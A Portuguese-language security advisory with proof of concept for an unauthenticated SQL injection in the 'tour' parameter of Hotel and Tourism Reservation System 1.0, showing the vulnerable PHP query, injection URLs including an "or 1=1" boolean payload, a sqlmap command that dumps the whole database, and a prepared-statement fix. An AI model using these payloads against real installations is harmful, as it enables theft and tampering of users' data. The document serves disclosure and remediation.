
Prova de conceito para injeção de SQL não autenticada no Hotel and Tourism Reservation System 1.0, demonstrando extração de banco de dados via parâmetro tour.
| Campo | Detalhes |
|---|
| Título | Sistema de Reservas de Hotel e Turismo - Injeção SQL via Parâmetro GET tour |
| Fornecedor | code-projects.org |
| URL do Fornecedor | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| Produto | Sistema de Reservas de Hotel e Turismo |
| Versão | 1.0 |
| Tipo de Vulnerabilidade | Injeção SQL |
| CWE | CWE-89 |
| Pontuação CVSS | 9.8 (Crítico) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Arquivo Afetado | /ht/tour.php |
| Parâmetro Afetado | tour (GET) |
| Autenticação Necessária | Não |
| Explorável Remotamente | Sim |
| Pesquisador | Syed Imad Uddin Alvi |
Existe uma vulnerabilidade crítica de Injeção SQL no parâmetro GET tour do arquivo tour.php no Sistema de Reservas de Hotel e Turismo 1.0. O parâmetro é passado diretamente para uma consulta SQL bruta sem qualquer sanitização, sem prepared statements e sem validação de entrada. Um atacante remoto não autenticado pode manipular a consulta para extrair, modificar ou excluir quaisquer dados no banco de dados. A vulnerabilidade foi confirmada por um dump completo do banco de dados usando o sqlmap.
Código vulnerável em tour.php:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID é obtido diretamente de $_GET['tour'] e interpolado na consulta SQL sem qualquer sanitização.
Configuração: Instale o Sistema de Reservas de Hotel e Turismo 1.0 no XAMPP e acesse em http://<alvo>/ht/
Passo 1 — Visite qualquer página de tour como um usuário não autenticado:
http://<alvo>/ht/tour.php?tour=4

Passo 2 — Injete uma aspa simples para quebrar a consulta SQL e confirmar a vulnerabilidade:
http://<alvo>/ht/tour.php?tour='
Resultado: Um erro fatal do MySQL é exibido — confirmando que a entrada não sanitizada alcança a consulta SQL.

Passo 3 — Confirme o SQLi com um payload baseado em booleano:
http://<alvo>/ht/tour.php?tour=' or 1=1 -- -
Resultado: A página carrega normalmente com dados do tour — injeção booleana bem-sucedida.

Passo 4 — Faça o dump de todo o banco de dados usando o sqlmap:
sqlmap -r sqli.txt --dump --batch
Resultado: O sqlmap despeja com sucesso todas as tabelas em hotel_db, incluindo users, rooms, tour_reserves, gallery — comprometimento completo do banco de dados confirmado.

Um atacante remoto não autenticado pode:
INTO OUTFILE se privilégios de arquivo forem concedidosO parâmetro GET tour é interpolado diretamente em uma consulta SQL bruta sem o uso de prepared statements, consultas parametrizadas ou sanitização de entrada:
// VULNERÁVEL
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// CORRIGIDO — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — Pesquisador de Segurança Independente